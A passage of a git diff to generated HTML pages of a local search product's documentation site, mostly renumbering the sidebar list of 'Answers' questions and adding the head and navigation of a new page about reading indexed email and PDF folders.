search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class="active"><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class="active"><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/read-autoindex-progress.html b/landing/answers/read-autoindex-progress.htmlindex 330c3a162..6045b585b 100644--- a/landing/answers/read-autoindex-progress.html+++ b/landing/answers/read-autoindex-progress.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class="active"><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class="active"><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/read-indexed-email-and-pdf-folder.html b/landing/answers/read-indexed-email-and-pdf-folder.htmlnew file mode 100644index 000000000..8a769e71b--- /dev/null+++ b/landing/answers/read-indexed-email-and-pdf-folder.html@@ -0,0 +1,406 @@+<!-- generated by build_articles.py — edit content/answers/read-indexed-email-and-pdf-folder.md instead -->+<!DOCTYPE html>+<html lang="en" data-theme="day">+<head>+<meta charset="UTF-8">+<meta name="viewport" content="width=device-width, initial-scale=1.0">+<title>How do I read email and PDFs after indexing a folder?</title>+<meta name="description" content="xerj brain indexes the folder and the console opens any record: an email with its attachments, a PDF page, and the files it links to. Extracted text only.">+<link rel="preconnect" href="https://fonts.googleapis.com">+<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>+<link href="https://fonts.googleapis.com/css2?family=Big+Shoulders+Display:wght@400;700;800;900&family=Inter:wght@400;500;600;700&family=IBM+Plex+Sans:wght@400;500;600;700&family=JetBrains+Mono:wght@400;500;700&display=swap" rel="stylesheet">+<link rel="icon" href="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 100 100'><rect width='100' height='100' fill='%230b0b0d'/><text x='50' y='68' font-size='60' font-family='Big Shoulders Display,sans-serif' font-weight='900' fill='%23ffc400' text-anchor='middle'>X</text></svg>">+<link rel="stylesheet" href="/style.css?v=90f643e">+<link rel="alternate" type="text/markdown" href="/answers/read-indexed-email-and-pdf-folder.md">+<!-- seo:begin — generated by scripts/seo/fix_heads.py · do not hand-edit -->+<link rel="canonical" href="https://xerj.org/answers/read-indexed-email-and-pdf-folder">+<meta property="og:site_name" content="XERJ.ai">+<meta property="og:type" content="article">+<meta property="og:title" content="How do I read email and PDFs after indexing a folder?">+<meta property="og:description" content="xerj brain indexes the folder and the console opens any record: an email with its attachments, a PDF page, and the files it links to. Extracted text only.">+<meta property="og:url" content="https://xerj.org/answers/read-indexed-email-and-pdf-folder">+<meta property="og:image" content="https://xerj.org/og/xerj-card.png">+<meta property="og:image:width" content="1200">+<meta property="og:image:height" content="630">+<meta property="og:image:alt" content="XERJ.ai — the search engine built for AI agents">+<meta property="og:locale" content="en_US">+<meta name="twitter:card" content="summary_large_image">+<meta name="twitter:title" content="How do I read email and PDFs after indexing a folder?">+<meta name="twitter:description" content="xerj brain indexes the folder and the console opens any record: an email with its attachments, a PDF page, and the files it links to. Extracted text only.">+<meta name="twitter:image" content="https://xerj.org/og/xerj-card.png">+<script type="application/ld+json">+{+ "@context": "https://schema.org",+ "@type": "Organization",+ "@id": "https://xerj.org/#organization",+ "name": "XERJ",+ "alternateName": "XERJ.ai",+ "url": "https://xerj.org/",+ "logo": "https://xerj.org/brandbook/xerj-mark.svg",+ "sameAs": [+ "https://github.com/xerj-org/xerj"+ ]+}+</script>+<script type="application/ld+json">+{+ "@context": "https://schema.org",+ "@type": "WebSite",+ "@id": "https://xerj.org/#website",+ "name": "XERJ.ai",+ "url": "https://xerj.org/",+ "inLanguage": "en",+ "publisher": {+ "@id": "https://xerj.org/#organization"+ }+}+</script>+<script type="application/ld+json">+{+ "@context": "https://schema.org",+ "@type": "TechArticle",+ "headline": "How do I read email and PDFs after indexing a folder?",+ "description": "xerj brain indexes the folder and the console opens any record: an email with its attachments, a PDF page, and the files it links to. Extracted text only.",+ "url": "https://xerj.org/answers/read-indexed-email-and-pdf-folder",+ "image": "https://xerj.org/og/xerj-card.png",+ "inLanguage": "en",+ "datePublished": "2026-09-18",+ "dateModified": "2026-09-19",+ "author": {+ "@type": "Person",+ "name": "XERJ documentation team"+ },+ "publisher": {+ "@id": "https://xerj.org/#organization"+ },+ "isPartOf": {+ "@id": "https://xerj.org/#website"+ },+ "mainEntityOfPage": {+ "@type": "WebPage",+ "@id": "https://xerj.org/answers/read-indexed-email-and-pdf-folder"+ },+ "reviewedBy": {+ "@type": "Person",+ "name": "XERJ engineering team"+ }+}+</script>+<script type="application/ld+json">+{+ "@context": "https://schema.org",+ "@type": "BreadcrumbList",+ "itemListElement": [+ {+ "@type": "ListItem",+ "position": 1,+ "name": "Home",+ "item": "https://xerj.org/"+ },+ {+ "@type": "ListItem",+ "position": 2,+ "name": "Answers",+ "item": "https://xerj.org/answers/"+ },+ {+ "@type": "ListItem",+ "position": 3,+ "name": "I indexed a folder of email and PDFs. How do I actually read what it found?"+ }+ ]+}+</script>+<!-- seo:end -->+</head>+<body>+<nav class="nav" aria-label="Primary">+ <a href="/" class="brand">XERJ.AI</a>+ <a href="/">HOME</a>+ <a href="/product">PRODUCT</a>+ <span class="nav-drop">+ <a href="/use-cases">USE CASES</a>+ </span>+ <a href="/case-studies">CASE STUDIES</a>+ <a href="/benchmarks/">BENCHMARKS</a>+ <span class="spacer"></span>+ <a href="/for-agents">FOR AGENTS</a>+ <a href="/docs/" class="active">DOCS</a>+ <a href="/docs/recipes/">RECIPES</a>+ <a href="/playground">DASHBOARDS</a>+ <a href="https://github.com/xerj-org/xerj" rel="external">GITHUB</a>+ <span class="spacer"></span>+ <span class="theme">+ <button type="button" data-theme="day" class="active">DAY</button>+ <span class="dash">·</span>+ <button type="button" data-theme="night">NIGHT</button>+ </span>+</nav>+<div class="docs-shell">+<nav class="docs-nav" aria-label="Article sections">+ <div class="group">+ <span class="label">ANSWERS</span>+ <a href="/answers/"><span class="eyebrow">00</span>All Answers</a>+ <a href="/answers/give-chatgpt-claude-local-file-access" class=""><span class="eyebrow">01</span>Can ChatGPT search a folder on my laptop, or do I need something else?</a>+ <a href="/answers/code-search-mcp-for-claude-code" class=""><span class="eyebrow">02</span>I need my agent to find a passage and cite the file, not dump the whole tree. How?</a>+ <a href="/answers/mcp-api-search-or-vector-search" class=""><span class="eyebrow">03</span>Should an agent use API search or vector search?</a>+ <a href="/answers/knowledge-graphs-for-agent-memory" class=""><span class="eyebrow">04</span>Should agent memory use a knowledge graph?</a>+ <a href="/answers/store-agent-memory-without-llm-call" class=""><span class="eyebrow">05</span>How do I stop an agent memory store from filling with near-duplicate notes?</a>+ <a href="/answers/evidence-for-agent-memory-links" class=""><span class="eyebrow">06</span>How can agent-memory links retain evidence?</a>+ <a href="/answers/private-agent-memory-namespaces" class=""><span class="eyebrow">07</span>How do I give two agents private memory on one laptop?</a>+ <a href="/answers/coding-agent-memory-across-sessions" class=""><span class="eyebrow">08</span>How do people store user preferences so an agent can recall them next week?</a>+ <a href="/answers/set-mcp-memory-storage-path" class=""><span class="eyebrow">09</span>How do I set the MCP memory storage path?</a>+ <a href="/answers/agent-memory-without-postgres-qdrant" class=""><span class="eyebrow">10</span>What's a simple way to give an agent long-term memory on my laptop without Qdrant?</a>+ <a href="/answers/does-xerj-support-s3-alerting-plugins" class=""><span class="eyebrow">11</span>Does XERJ support S3 storage, alerting or custom plugins yet?</a>+ <a href="/answers/audit-php-codebase-with-an-index" class=""><span class="eyebrow">12</span>How do I audit a PHP codebase with an index instead of grepping 1,400 files?</a>+ <a href="/answers/index-reference-library-for-coding-agent" class=""><span class="eyebrow">13</span>How do I set up reference coding so the agent retrieves a mechanism before writing code?</a>+ <a href="/answers/rebuild-reference-corpus-index" class=""><span class="eyebrow">14</span>xc-index.sh --fresh failed. How do I rebuild a corpus index?</a>+ <a href="/answers/classify-text-from-labelled-history-without-llm" class=""><span class="eyebrow">15</span>Can I route tickets or filter spam from labelled history, without an LLM call?</a>+ <a href="/answers/reduce-embedding-api-cost" class=""><span class="eyebrow">16</span>How do I reduce embedding API cost?</a>+ <a href="/answers/local-embeddings-without-openai-api" class=""><span class="eyebrow">17</span>I want local search that works offline, no cloud embeddings. What are my options?</a>+ <a href="/answers/do-search-embeddings-help" class=""><span class="eyebrow">18</span>When should I turn on neural embeddings, and when is the lexical default enough?</a>+ <a href="/answers/search-yaml-xml-config-repository" class=""><span class="eyebrow">19</span>How do I find every place a config key is set across YAML and XML in a repo?</a>+ <a href="/answers/full-text-search-sqlite-database" class=""><span class="eyebrow">20</span>How do I full-text search a SQLite database I just copied onto disk?</a>+ <a href="/answers/index-csv-with-many-columns" class=""><span class="eyebrow">21</span>How do I index a CSV with many columns?</a>+ <a href="/answers/index-markdown-into-elasticsearch-api" class=""><span class="eyebrow">22</span>How do I index Markdown into the Elasticsearch API?</a>+ <a href="/answers/syntax-aware-code-search-refactoring" class=""><span class="eyebrow">23</span>How do I run syntax-aware code search?</a>+ <a href="/answers/search-gzipped-csv-or-json" class=""><span class="eyebrow">24</span>How do I search a .csv.gz or .json.gz without unzipping it first?</a>+ <a href="/answers/search-confluence-html-export" class=""><span class="eyebrow">25</span>How do I search a Confluence export?</a>+ <a href="/answers/search-slack-json-export" class=""><span class="eyebrow">26</span>How do I search a Slack JSON export?</a>+ <a href="/answers/search-bvh-motion-capture-files" class=""><span class="eyebrow">27</span>How do I search BVH motion-capture files?</a>+ <a href="/answers/search-gzip-logs-without-zgrep" class=""><span class="eyebrow">28</span>How do I search gzipped logs without decompressing the whole file — including when JSONL sits next to them?</a>+ <a href="/answers/search-kubernetes-pod-logs-on-disk" class=""><span class="eyebrow">29</span>How do I search Kubernetes pod logs?</a>+ <a href="/answers/search-word-documents-in-a-folder" class=""><span class="eyebrow">30</span>How do I search through a folder of contracts in .docx?</a>+ <a href="/answers/search-unity-project-assets" class=""><span class="eyebrow">31</span>How do I search Unity YAML scenes and the C# that references them as one project?</a>+ <a href="/answers/index-monorepo-for-agent" class=""><span class="eyebrow">32</span>How do I stop my agent from reading the whole repo into context?</a>+ <a href="/answers/catalog-files-with-autoindex-map" class=""><span class="eyebrow">33</span>How should an agent figure out what's in a messy data folder before searching?</a>+ <a href="/answers/search-all-pdfs-in-a-folder" class=""><span class="eyebrow">34</span>I downloaded a bunch of papers as PDFs. How do I search across them?</a>+ <a href="/answers/search-sql-dump-file" class=""><span class="eyebrow">35</span>I have a 2GB SQL dump. How do I find rows mentioning a customer without loading it into Postgres?</a>+ <a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a>+ <a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a>+ <a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" 